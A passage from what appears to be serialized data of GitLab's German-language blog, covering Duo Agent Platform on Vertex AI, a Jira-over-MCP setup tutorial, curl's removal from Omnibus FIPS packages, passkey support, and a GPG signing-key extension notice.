aufrufen, wenn Google Cloud als Inferenz-Umgebung gewählt wird – wobei GitLabs AI Gateway den Zugriff vermittelt, sodass Administratoren jederzeit nachvollziehen können, was womit verbunden ist. So analysiert beispielsweise der GitLab Duo Planner Agent Backlogs, gliedert Epics in strukturierte Aufgaben und wendet Priorisierungs-Frameworks an, um Teams bei der Entscheidung zu unterstützen, was als Nächstes umgesetzt werden soll. Der Security Analyst Agent priorisiert Schwachstellen, beschreibt Risiken in verständlicher Sprache und empfiehlt Behebungsmaßnahmen in priorisierter Reihenfolge. Integrierte Flows verbinden diese Agenten zu durchgängigen Prozessen, ohne dass Entwicklungsteams jeden Übergabeschritt manuell steuern müssen.\n\nAgentic Chat in GitLab Duo Agent Platform verbindet das Gesamterlebnis für Entwicklungsteams. Abfragen in natürlicher Sprache liefern kontextbezogene Antworten mit mehrstufigem Reasoning, das auf den vollständigen Projektzustand zugreift: Issues, Merge Requests, Pipelines, Sicherheitsbefunde und Codebase. Da GitLab als System of Record für den SDLC mit einem einheitlichen Datenmodell dient, arbeiten GitLab Duo-Agenten mit Lifecycle-Kontext, der über die Reichweite eigenständiger, toolspezifischer KI-Assistenten hinausgeht.\n\n\n### Verstärkt durch Vertex AI\n\n\nGitLab Duo Agent Platform ist modellflexibel konzipiert und leitet verschiedene Aufgaben an verschiedene Modelle weiter – je nachdem, welches Modell für die jeweilige Aufgabe am besten geeignet ist. Diese Architekturentscheidung zahlt sich auf Google Cloud aus, wo Vertex AI als verwaltete Umgebung für Foundation Models und zugehörige Services fungiert und ein breites Modell-Ökosystem sowie verwaltete Infrastruktur bereitstellt, die die Plattformfähigkeiten erweitert.\n\nDie neuesten Generationen von KI-Modellen, die über Vertex AI verfügbar sind, bieten deutliche Verbesserungen bei Reasoning, Tool-Nutzung und Long-Context-Verständnis gegenüber früheren Versionen – genau die Eigenschaften, auf die GitLabs Agenten bei der Arbeit mit vielen Projekten und Teams mit großen, komplexen Codebases angewiesen sind. Längere Kontextfenster und umfangreichere Tool-Integration in den zugrunde liegenden Modellen erweitern das, was Agenten in einem einzigen Durchlauf erreichen können – besonders relevant bei Aufgaben wie einer umfassenden Backlog-Analyse oder dem Security-Review von Monorepos.\n\n[Vertex AI Model Garden](https://cloud.google.com/model-garden) bietet mit Zugang zu einer breiten Palette von Foundation Models die nötige Auswahl, um Entscheidungen auf Basis von Leistung, Kosten und regulatorischen Anforderungen zu treffen – statt an einen einzelnen Anbieter gebunden zu sein.\n\nDarüber hinaus können GitLab-Kunden Bring Your Own Model (BYOM) für Duo Agent Platform nutzen, sodass zugelassene Anbieter und Gateways dort eingebunden werden, wo das eigene Sicherheitsmodell es vorsieht. In GitLabs [Beitrag zum 18.9-Release über Self-Hosted Duo Agent Platform und BYOM](https://about.gitlab.com/de-de/blog/agentic-ai-enterprise-control-self-hosted-duo-agent-platform-and-byom/) wird beschrieben, wie diese Anbindung funktioniert. Mit dieser Deployment-Option erhalten Kunden Zugang zu einem breiteren Spektrum an Modelloptionen, die sich auf den eigenen Entwicklungsprozess zuschneiden lassen: das richtige Modell für den richtigen Workflow mit den richtigen Leitplanken.\n\nFür GitLab war die Entscheidung, auf Vertex AI zu bauen, von der Anforderung an Enterprise-taugliche Zuverlässigkeit und breite Modellverfügbarkeit getrieben. Vertex AI und Model Garden abstrahieren das LLM-Hosting vollständig – das bedeutet schnelle Versionsbereitstellung, robuste Sicherheit und strikte Governance sind in die Integration eingebaut. Über Gemini-Modelle hinaus bietet Vertex AI globalen, latenzarmen Zugang zu einem umfangreichen Katalog von Drittanbieter- und Open-Source-Modellen.\n\nIn Kombination mit Google Clouds Ansatz für Datenschutz und Modellschutz war Vertex AI die passende Wahl, um GitLabs Developer Experience der nächsten Generation zu unterstützen.\n\nDurch die Integration von Vertex AI Model Garden in das Backend erweitert GitLab seine DevSecOps-Plattform, ohne den Nutzenden zusätzliche Komplexität aufzubürden. Entwicklungsteams müssen die zugrunde liegenden LLMs weder evaluieren noch verwalten – stattdessen nutzen sie einen optimierten, KI-gestützten Workflow für die Entwicklung ihrer Anwendungen.\n\nGitLab abstrahiert die Cloud-Orchestrierung vollständig, sodass sich Entwicklungsteams ganz auf das Schreiben von Code konzentrieren können, während Vertex AI die unterstützenden Features und Funktionen bereitstellt.\n\n\n## Was das für Kunden auf Google Cloud bedeutet\n\n\nGitLab Duo Agent Platform liefert bereits heute KI-Agenten, die über den gesamten Software-Lifecycle hinweg innerhalb eines einzigen, kontrollierten System of Record arbeiten. Auf Google Cloud ermöglicht das schnelle Innovation, während Vertex AI die Modell- und Infrastrukturebene kontinuierlich weiterentwickelt.\n\nFür Google Cloud-Kunden bedeutet diese Integration eine optimierte Softwarebereitstellung bei gleichzeitig strikter Enterprise-Governance. Für Platform-Engineering-Teams bedeutet es, zu standardisieren, welche Vertex-gestützten Modelle Vorschläge, Analysen und Behebungen innerhalb von GitLab bereitstellen – statt Dutzende clientseitiger Tools zu katalogisieren. Sicherheitsprogramme profitieren, wenn Agenten Fixes dort vorschlagen und validieren, wo Entwicklungsteams bereits Befunde bearbeiten, was Kontextwechsel reduziert und Arbeit vermeidet, die sonst in nicht verwaltete Kanäle abfließen würde.\n\nAus Sicht der Cloud-Ökonomie und -Governance sorgt die Steuerung der Agent-Inferenz über Vertex innerhalb von GitLab dafür, dass die Nutzung näher an den bestehenden Vereinbarungen und Kontrollen auf Google Cloud bleibt – das hilft, doppelte Ausgaben und Schattenpfade zu vermeiden, die am Einkauf vorbeilaufen.\n\nDa Vertex AI als zugrunde liegender Infrastrukturanbieter für GitLab Duo Agent Platform dient, können Unternehmen die Produktivität ihrer Entwicklungsteams deutlich steigern – ohne den Overhead und das Risiko fragmentierter KI-Toolchains. Teams bleiben innerhalb eines einzigen, sicheren System of Record abgestimmt und können Anwendungen schneller entwickeln und mit Zuversicht ausliefern.\n\nDie Zusammenarbeit zwischen GitLab und Google Cloud besteht seit 2018. Heute stellt sie einen der umfassendsten Wege dar, um von KI-Experimenten zu vollständig kontrollierter, agentenbasierter Softwareentwicklung auf Google Cloud zu gelangen. Da sich beide Plattformen kontinuierlich weiterentwickeln – GitLab mit erweiterter Agent-Orchestrierung und Developer-Kontext, Vertex AI mit weiter steigender Modellleistung und Agent-Infrastruktur – wird der Mehrwert für gemeinsame Kunden weiter wachsen.\n\n> [Starte eine kostenlose Testversion von GitLab Duo Agent Platform](https://about.gitlab.com/de-de/free-trial/), um GitLab und Vertex AI auf Google Cloud kennenzulernen.\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663121/Blog/Hero%20Images/LogoLockupPlusLight.png","2026-04-14",[846,259,893,761,786],"google",{"featured":13,"template":836,"slug":895},"gitlab-and-vertex-ai-on-google-cloud",{"content":897,"config":907},{"heroImage":898,"title":899,"description":900,"authors":901,"date":903,"category":699,"tags":904,"body":906},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643639/sapu29gmlgtwvhggmj6k.png","GitLab Duo Agent Platform erweitern: Beliebige Tools per MCP verbinden","Externe Tools wie Jira über MCP direkt in GitLab Duo Agent Platform einbinden – Schritt-für-Schritt-Einrichtung mit drei praxisnahen Workflow-Demos.",[902],"Albert Rabassa","2026-03-05",[699,786,905],"tutorial","Die Verwaltung von Software-Entwicklungsprojekten bedeutet oft, zwischen verschiedenen Tools zu wechseln: Issues in Jira verfolgen, Code in der IDE schreiben, in GitLab zusammenarbeiten. Dieses ständige Wechseln zwischen Plattformen unterbricht den Fokus und verlangsamt die Lieferung.\n\n\n\nMit der MCP-Unterstützung des [GitLab Duo Agent Platform](https://about.gitlab.com/topics/ai/model-context-protocol/) lassen sich Jira und andere MCP-kompatible Tools direkt in die KI-gestützte Entwicklungsumgebung einbinden. Issues abfragen, Tickets aktualisieren, Workflows synchronisieren – per natürlicher Sprache, direkt aus der IDE.\n\n\n\n## Was in diesem Tutorial vermittelt wird\n\n\n\nDieses Tutorial zeigt:\n\n\n\n* **Einrichtung der Jira/Atlassian OAuth-Anwendung** für sichere Authentifizierung\n\n* **Konfiguration des GitLab Duo Agent Platform** als MCP-Client\n\n* **Drei praxisnahe Anwendungsfälle** mit realen Workflows\n\n\n\n## Voraussetzungen\n\n\n\nVor dem Start sollten folgende Voraussetzungen erfüllt sein:\n\n\n\n| Voraussetzung | Details |\n| ---- | ----- |\n| **GitLab-Instanz** | GitLab 18.8+ mit aktiviertem Duo Agent Platform |\n| **Jira-Konto** | Jira Cloud-Instanz mit Admin-Zugriff zum Erstellen von OAuth-Anwendungen |\n| **IDE** | Visual Studio Code mit installierter GitLab Workflow-Erweiterung |\n| **MCP-Unterstützung** | MCP-Unterstützung in GitLab aktiviert |\n\n\n\n## Architektur verstehen\n\n\n\nDer GitLab Duo Agent Platform agiert als **MCP-Client** und stellt eine Verbindung zum Atlassian MCP-Server her, um auf Jira-Projektmanagement-Daten zuzugreifen. Der Atlassian MCP-Server übernimmt die Authentifizierung, übersetzt natürlichsprachliche Anfragen in API-Aufrufe und gibt strukturierte Daten zurück – bei gleichzeitiger Einhaltung von Sicherheits- und Audit-Anforderungen.\n\n\n\n## Teil 1: Jira OAuth-Anwendung konfigurieren\n\n\n\nUm den GitLab Duo Agent Platform sicher mit der Jira-Instanz zu verbinden, muss eine OAuth 2.0-Anwendung in der Atlassian Developer Console erstellt werden. Diese erteilt dem GitLab MCP-Server autorisierten Zugriff auf die Jira-Daten.\n\n\n\n### Einrichtungsschritte\n\n\n\nFür die manuelle Konfiguration sind folgende Schritte erforderlich:\n\n\n\n1. **Atlassian Developer Console aufrufen**\n\n\n   * [developer.atlassian.com/console/myapps](https://developer.atlassian.com/console/myapps) öffnen\n\n\n   * Mit dem Atlassian-Konto anmelden\n\n\n2. **Neue OAuth 2.0-App erstellen**\n\n\n   * **Create** → **OAuth 2.0 integration** klicken\n\n\n   * Namen eingeben (z. B. „gitlab-dap-mcp\")\n\n\n   * Nutzungsbedingungen akzeptieren und **Create** klicken\n\n\n3. **Berechtigungen konfigurieren**\n\n\n   * In der linken Seitenleiste zu **Permissions** navigieren\n\n\n   * **Jira API** hinzufügen und folgende Scopes konfigurieren:\n\n\n     * `read:jira-work` — Issues, Projekte und Boards lesen\n\n\n     * `write:jira-work` — Issues erstellen und aktualisieren\n\n\n     * `read:jira-user` — Benutzerinformationen lesen\n\n\n4. **Autorisierung einrichten**\n\n\n   * In der linken Seitenleiste zu **Authorization** navigieren\n\n\n   * Callback-URL für die Umgebung hinzufügen (`https://gitlab.com/oauth/callback`)\n\n\n   * Änderungen speichern\n\n\n5. **Zugangsdaten abrufen**\n\n\n   * Zu **Settings** navigieren\n\n\n   * **Client ID** und **Client Secret** kopieren\n\n\n   * Sicher aufbewahren – diese werden für die MCP-Konfiguration benötigt\n\n\n\n\n### Interaktive Anleitung: Jira OAuth-Einrichtung\n\n\n\nAuf das Bild klicken, um zu beginnen.\n\n\n\n\n\n[![Jira OAuth setup tour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772644850/wnzfoq43nkkfmgdqldmr.png)](https://gitlab.navattic.com/jira-oauth-setup)\n\n\n\n\n\n## Teil 2: GitLab Duo Agent Platform MCP-Client konfigurieren\n\n\n\nMit den bereitgestellten OAuth-Zugangsdaten kann der GitLab Duo Agent Platform nun für die Verbindung mit dem Atlassian MCP-Server konfiguriert werden.\n\n\n\n### MCP-Konfigurationsdatei erstellen\n\n\n\nDie MCP-Konfigurationsdatei im GitLab-Projekt unter `.gitlab/duo/mcp.json` erstellen:\n\n```json\n{\n  \"mcpServers\": {\n    \"atlassian\": {\n      \"type\": \"http\",\n      \"url\": \"https://mcp.atlassian.com/v1/mcp\",\n      \"auth\": {\n        \"type\": \"oauth2\",\n        \"clientId\": \"YOUR_CLIENT_ID\",\n        \"clientSecret\": \"YOUR_CLIENT_SECRET\",\n        \"authorizationUrl\": \"https://auth.atlassian.com/oauth/authorize\",\n        \"tokenUrl\": \"https://auth.atlassian.com/oauth/token\"\n      },\n      \"approvedTools\": true\n    }\n  }\n}\n```\n\n\n\n`YOUR_CLIENT_ID` und `YOUR_CLIENT_SECRET` durch die in Teil 1 generierten Zugangsdaten ersetzen.\n\n\n\n### MCP in GitLab aktivieren\n\n\n\n1. Zu **Gruppeneinstellungen** → **GitLab Duo** → **Konfiguration** navigieren\n\n2. „Externe MCP-Tools erlauben\" aktivieren\n\n\n\n### Verbindung überprüfen\n\n\n\nDas Projekt in VS Code öffnen und im GitLab Duo Agent Platform Chat eingeben:\n\n```text\nWhat MCP tools do you have access to?\n```\n\n\n\nDann\n```text\nTest the MCP JIRA configuration in this project\n```\n\n\n\nAnschließend erfolgt eine Weiterleitung von der IDE zur MCP Atlassian-Website zur Zugriffsgenehmigung:\n\n\n\n![Redirect to MCP Atlassian website](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/z5acqjgguh0damnnde9g.png \"Redirect to MCP Atlassian website\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n![Approve access](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/rwowamm8nsubhpixtn3i.png \"Approve access\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n![Select your JIRA instance and approve](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/chuzqd0jeptfwvoj7wjr.png \"Select your JIRA instance and approve\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n![Success!](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/bsgti5iste2bzck19o5y.png \"Success!\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n### Überprüfung über das MCP-Dashboard\n\n\n\nGitLab bietet zudem ein integriertes **MCP-Dashboard** direkt in der IDE.\n\n\n\nIn VS Code oder VSCodium die Befehlspalette öffnen (`Cmd+Shift+P` unter macOS, `Ctrl+Shift+P` unter Windows/Linux) und nach **„GitLab: Show MCP Dashboard\"** suchen. Das Dashboard öffnet sich in einem neuen Editor-Tab und zeigt:\n\n\n\n* **Verbindungsstatus** für jeden konfigurierten MCP-Server\n\n* **Verfügbare Tools** des Servers (z. B. `jira_get_issue`, `jira_create_issue`)\n\n* **Server-Logs** mit Echtzeit-Protokollierung der aufgerufenen Tools\n\n\n\n![MCP servers dashboard and status](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/mmvdfchucacsydivowvn.png \"MCP servers dashboard and status\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n![Server details and permissions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/tcocgdvovp2dl42pvfn8.png \"Server details and permissions\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n![MCP Server logs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643466/mougvqqk1bozchaufsci.png \"MCP Server logs\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n### Interaktive Anleitung: MCP testen\n\n\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005495?badge=0&autopause=0& player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Testing MCP\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\n\n## Teil 3: Anwendungsfälle in der Praxis\n\n\n\nMit der konfigurierten Integration lassen sich drei praxisnahe Workflows erkunden, die die Möglichkeiten der Jira-Anbindung an den GitLab Duo Agent Platform demonstrieren.\n\n\n\n### Planungsassistent\n\n\n\n**Szenario:** Vorbereitung auf Sprint-Planung – schnelle Bewertung des Backlogs, Verstehen von Prioritäten, Identifizierung von Blockern.\n\n\n\nDiese Demo zeigt:\n\n\n\n* Backlog abfragen\n\n* Nicht zugewiesene hochpriorisierte Issues identifizieren\n\n* KI-gestützte Sprint-Empfehlungen erhalten\n\n\n\n#### Beispiel-Prompts\n\n\n\nIm GitLab Duo Agent Platform Chat ausprobieren:\n\n```text\nList all the unassigned issues in JIRA for project GITLAB\n```\n\n```text\nSuggest the two top issues to prioritize and summarize them. Assign them to me.\n```\n\n\n### Interaktive Anleitung: Projektplanung\n\n\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005462?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Project Planning\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\n\n### Issue-Triage und Erstellung aus dem Code\n\n\n\n**Szenario:** Beim Code-Review wird ein Bug entdeckt – ein Jira-Issue mit relevantem Kontext erstellen, ohne die IDE zu verlassen.\n\n\n\nDiese Demo zeigt:\n\n\n\n* Einen Bug beim Coding identifizieren\n\n* Ein detailliertes Jira-Issue per natürlicher Sprache erstellen\n\n* Issue-Felder automatisch mit Code-Kontext befüllen\n\n* Das Issue mit dem aktuellen Branch verknüpfen\n\n\n\n#### Beispiel-Prompts\n```text\nSearch in JIRA for a bug related to: Null pointer exception in PaymentService.processRefund().\n\nIf it does not exist create it with all the context needed from the code. Find possible blockers that this bug may cause.\n```\n\n```text\nCreate a new branch called issue-gitlab-18, checkout, and link it to the issue we just created. Assign the JIRA issue to me and mark it as in-progress.\n```\n\n\n\n### Interaktive Anleitung: Bug-Review und Aufgaben-Automatisierung\n\n\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005368?badge=0&autopause=0& player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Bug Review\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\n\n### Systemübergreifende Incident-Untersuchung\n\n\n\n**Szenario:** Ein Production-Incident tritt auf – Informationen aus Jira, GitLab Project Management, Codebase und Merge Requests werden korreliert, um die Ursache zu identifizieren.\n\n\n\nDiese Demo zeigt:\n\n\n\n* Incident-Details aus Jira abrufen\n\n* Mit aktuellen Merge Requests in GitLab korrelieren\n\n* Möglicherweise betroffene Code-Änderungen identifizieren\n\n* Eine Incident-Timeline generieren\n\n* Einen Behebungsplan entwerfen und als Work Item in GitLab erstellen\n\n\n\n#### Beispiel-Prompts\n\n```text\n\"We have a production incident INC-1 about checkout failures. Can you help me investigate with all available context?\"\n```\n\n```text\nCreate a timeline of events for incident INC-1 including related Jira issues and recent deployments\n```\n\n```text\nPropose a remediation plan\n```\n\n\n\n### Interaktive Anleitung: Systemübergreifende Fehleranalyse und Behebung\n\n\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005413?badge=0&autopause=0& player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Cross System Investigation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\n\n## Fehlerbehebung\n\n\n\nHäufige Einrichtungsprobleme und schnelle Lösungen:\n\n\n\n| Problem | Lösung |\n| ----- | ----- |\n| „MCP server not found\" | Prüfen, ob die Datei `mcp.json` am richtigen Ort liegt und korrekt formatiert ist |\n| „Authentication failed\" | OAuth-Zugangsdaten und Scopes in Atlassian überprüfen |\n| „No Jira tools available\" | VS Code nach dem Aktualisieren von `mcp.json` neu starten und MCP in GitLab aktivieren |\n| „Connection timeout\" | Netzwerkverbindung zu `mcp.atlassian.com` prüfen |\n\n\u003Cbr/>\nDetaillierte Informationen zur Fehlerbehebung: [GitLab MCP-Clients-Dokumentation](https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_clients/).\n\n\n\n## Sicherheitshinweise\n\n\n\nBei der Integration von Jira mit dem GitLab Duo Agent Platform:\n\n\n\n* **OAuth-Token** — Zugangsdaten sicher aufbewahren\n\n* **Prinzip der minimalen Rechtevergabe** — Nur die minimal erforderlichen Jira-Scopes vergeben\n\n* **Token-Rotation** — OAuth-Zugangsdaten regelmäßig rotieren\n\n\n\n## Zusammenfassung\n\n\n\nDie Anbindung des GitLab Duo Agent Platform an verschiedene Tools über MCP verändert die Interaktion mit dem Entwicklungslebenszyklus. In diesem Artikel wurde gezeigt:\n\n\n\n* **Issues per natürlicher Sprache abfragen** — Fragen zum Backlog, zu Sprints und Incidents in natürlicher Sprache stellen.\n\n* **Issues in der gesamten DevSecOps-Umgebung erstellen und aktualisieren** — Bugs melden und Tickets aktualisieren, ohne die IDE zu verlassen.\n\n* **Systemübergreifend korrelieren** — Jira-Daten mit GitLab Project Management, Merge Requests und Pipelines für vollständige Transparenz kombinieren.\n\n* **Kontextwechsel reduzieren** — Fokus auf den Code behalten und gleichzeitig mit dem Projektmanagement verbunden bleiben.\n\n\n\n## Für deutsche Unternehmen könnte dies folgende Themen betreffen\n\n\n\nTeams, die externe Tools über MCP einbinden, haben möglicherweise auch Governance- und Sicherheitsüberlegungen – beispielsweise in Bereichen wie Zugriffskontrolle, Token-Management und Audit-Nachvollziehbarkeit.\n\n\n\nRegulatorische Frameworks wie NIS2, ISO 27001 und DSGVO adressieren ähnliche Themen rund um Zugriffssteuerung und Protokollierung. Für konkrete Compliance-Anforderungen empfiehlt sich Rücksprache mit entsprechender Fachberatung.\n\n\n\n## Weiterführende Informationen\n\n\n\n* [GitLab Duo Agent Platform unterstützt jetzt das Model Context Protocol](https://about.gitlab.com/de-de/blog/duo-agent-platform-with-mcp/)\n\n\n\n* [Was ist das Model Context Protocol?](https://about.gitlab.com/topics/ai/model-context-protocol/)\n\n\n\n* [Leitfäden und Ressourcen für Agentic AI](https://about.gitlab.com/de-de/blog/agentic-ai-guides-and-resources/)\n\n\n\n* [Dokumentation zu GitLab-MCP-Clients](https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_clients/)\n\n\n\n* [Erste Schritte mit der GitLab Duo Agent Platform: Der vollständige Leitfaden](https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-complete-getting-started-guide/)",{"featured":687,"template":836,"slug":908},"extend-gitlab-duo-agent-platform-connect-any-tool-with-mcp",{"category":714,"slug":712,"posts":910},[911,923,935],{"content":912,"config":921},{"title":913,"description":914,"heroImage":915,"authors":916,"date":918,"body":919,"category":712,"tags":920},"curl aus Omnibus-GitLab FIPS-Paketen in 19.0 entfernt","Ab Omnibus-GitLab 19.0 bündelt GitLab curl in FIPS-Paketen nicht mehr. Stattdessen wird curl der Linux-Distribution verwendet. Was das bedeutet.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1776362275/ozbwn9tk0dditpnfddlz.png",[917],"Adam Chu","2026-04-24","Ab Omnibus-GitLab 19.0 (und dem nachfolgenden Patch-Release für bestehende\nunterstützte Versionen) enthalten FIPS-Pakete keine von GitLab gebaute Version\nvon curl mehr. Stattdessen wird das curl-Paket der Linux-Distribution des\nKunden verwendet – analog zur bestehenden Praxis, bei der FIPS-Pakete bereits\ndas OpenSSL der Distribution nutzen.\n\n## Warum wird diese Änderung vorgenommen?\n\nDiese Änderung ist notwendig, weil curl 8.18.0 die Kompilierung gegen\nOpenSSL 1.x als veraltet markiert hat. Das verhindert die Fortführung des\nbisherigen Ansatzes auf Amazon Linux 2 und AlmaLinux 8 (betrifft\nRHEL-8-Kunden). GitLab stellt die meisten Abhängigkeiten für Omnibus-GitLab\nselbst bereit, verknüpft in FIPS-Paketen jedoch mit den kryptografischen\nBibliotheken der Distribution statt eigene zu bündeln – dieses Modell wird\nnun auf curl ausgeweitet.\n\nAus Gründen der Wartbarkeit und Sicherheit wird diese Änderung auf alle\nFIPS-Pakete angewendet, einschließlich Distributionen mit OpenSSL 3.0 oder\nhöher. Alle FIPS-Kunden sind betroffen.\n\n## Was ist zu tun?\n\n### GitLab Self-Managed\n\nGitLab 19.0 wird ab dem 21. Mai 2026 verfügbar sein.\n\n> Weitere Informationen zum [Release-Zeitplan](https://about.gitlab.com/releases/).\n\nAb dem 19.0 Omnibus-GitLab FIPS-Paket wird das gebündelte curl entfernt und\ndurch das curl der Linux-Distribution des Kunden ersetzt. Die GitLab-Instanz\ndes Kunden funktioniert weiterhin wie erwartet. Diese Änderung hat keine\nweiteren Auswirkungen und erfordert keine sofortigen Maßnahmen.\n\n## Wichtiger Hinweis\n\nGitLab ist künftig nicht mehr für die Bereitstellung von Sicherheitsupdates\nfür curl in FIPS-Paketen verantwortlich. Es obliegt dem Kunden, das curl des\neigenen Betriebssystems aktuell zu halten, um Fixes und Sicherheits-Patches\nzu erhalten. Scanner-Findings für curl spiegeln künftig das Host-OS-Paket\nwider und nicht mehr eine von GitLab gebündelte Version. Dies entspricht der\nbestehenden Handhabung von OpenSSL in FIPS-Umgebungen.\n\n## Probleme nach der Umstellung?\n\nBei Bedarf bitte ein Issue im\n[Omnibus-GitLab Issue Tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug)\nöffnen.\n",[786],{"featured":687,"template":836,"slug":922},"curl-removed-from-omnibus-gitlab-fips-packages-in-19-0",{"content":924,"config":933},{"title":925,"description":926,"authors":927,"heroImage":929,"date":930,"body":931,"category":712,"tags":932},"Passkeys jetzt für passwortlosen Login und 2FA bei GitLab verfügbar","Passkey für das eigene Konto registrieren und Zwei-Faktor-Authentifizierung als Phishing-resistente Methode nutzen.",[928],"GitLab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772029801/qk75nu1eezxa6aiefpup.png","2026-02-25","Passkeys sind ab sofort bei GitLab verfügbar und bieten eine sichere Möglichkeit, auf das eigene Konto zuzugreifen. Passkeys können für den passwortlosen Login oder als Phishing-resistente Zwei-Faktor-Authentifizierung (2FA) verwendet werden. Die Authentifizierung erfolgt über den Fingerabdruck, die Gesichtserkennung oder die PIN des Geräts. Bei Konten mit aktivierter 2FA werden Passkeys automatisch als Standard-2FA-Methode eingerichtet.\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/LN5MGRdTHR8?si=OOebJZzN3LkSmzNv\" title=\"Passwordless authentication using passkeys\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\n\u003C/figure>\n\nUm einen Passkey zu registrieren, in den Profileinstellungen **Konto > Authentifizierung verwalten** aufrufen.\n\nPasskeys basieren auf WebAuthn-Technologie und Public-Key-Kryptographie, bestehend aus einem privaten und einem öffentlichen Schlüssel. Der private Schlüssel verbleibt sicher auf dem Gerät und verlässt es nie, während der öffentliche Schlüssel bei GitLab gespeichert wird. Selbst bei einer Kompromittierung von GitLab können Angreifer die gespeicherten Zugangsdaten nicht nutzen, um auf das Konto zuzugreifen. Passkeys funktionieren in Desktop-Browsern (Chrome, Firefox, Safari, Edge), auf Mobilgeräten (iOS 16+, Android 9+) und mit FIDO2-Hardware-Sicherheitsschlüsseln. Mehrere Passkeys lassen sich geräteübergreifend registrieren.\n\n![Passkeys-Anmeldung mit Zwei-Faktor-Authentifizierung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767807931/n652nkgvna1rsymlfzpi.png)\n\nGitLab hat das [CISA Secure by Design Pledge](https://about.gitlab.com/de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/) unterzeichnet und sich damit verpflichtet, die eigene Sicherheitslage zu verbessern und Kunden bei der Entwicklung sicherer Software zu unterstützen. Ein zentrales Ziel des Pledges ist die verstärkte Nutzung von [Multi-Faktor-Authentifizierung (MFA)](https://about.gitlab.com/de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/) in den eigenen Produkten. Passkeys sind ein wesentlicher Bestandteil dieses Ziels und bieten eine Phishing-resistente MFA-Methode, die die Anmeldung bei GitLab sicherer macht.\n\nBei Fragen, Erfahrungsberichten oder Verbesserungsvorschlägen steht das [Feedback-Issue](https://gitlab.com/gitlab-org/gitlab/-/work_items/366758) zur Verfügung.\n",[798,786],{"featured":687,"template":836,"slug":934},"passkeys-now-available-for-passwordless-sign-in-and-2fa-on-gitlab",{"content":936,"config":945},{"title":937,"description":938,"heroImage":939,"authors":940,"date":942,"body":943,"category":712,"tags":944},"GPG-Schlüssel zur Signierung der GitLab-Paket-Repository-Metadaten wurde verlängert","Der GPG-Schlüssel zur Signierung von Repository-Metadaten auf GitLabs Packagecloud-Instanz unter packages.gitlab.com wurde verlängert – das ist zu beachten.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771934335/c4f7zzdelhwcihaqwxym.png",[941],"Denis Afonso","2026-02-24","GitLab verwendet einen GPG-Schlüssel, um die Metadaten der verschiedenen apt- und yum-Repositories zu signieren, über die die offiziellen omnibus-gitlab- und gitlab-runner-Pakete verteilt werden. Dies dient der Sicherstellung der Paketintegrität; die Pakete selbst werden zusätzlich durch einen separaten Schlüssel signiert.\n\nDer aktuell für die Metadaten-Signierung verwendete Schlüssel mit dem Fingerabdruck `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F` läuft am 27. Feb. 2026 ab und wurde bis zum 6. Feb. 2028 verlängert.\n\n## Warum wird die Laufzeit verlängert?\n\nDie Laufzeit des Repository-Metadaten-Signierungsschlüssels wird regelmäßig verlängert, um den GitLab-Sicherheitsrichtlinien zu entsprechen und das Risiko im Falle einer Kompromittierung des Schlüssels zu begrenzen. Statt einer Rotation auf einen neuen Schlüssel wird die Laufzeit verlängert, um den Aufwand für Nutzende zu minimieren – eine Rotation würde erfordern, dass alle Nutzenden ihren vertrauenswürdigen 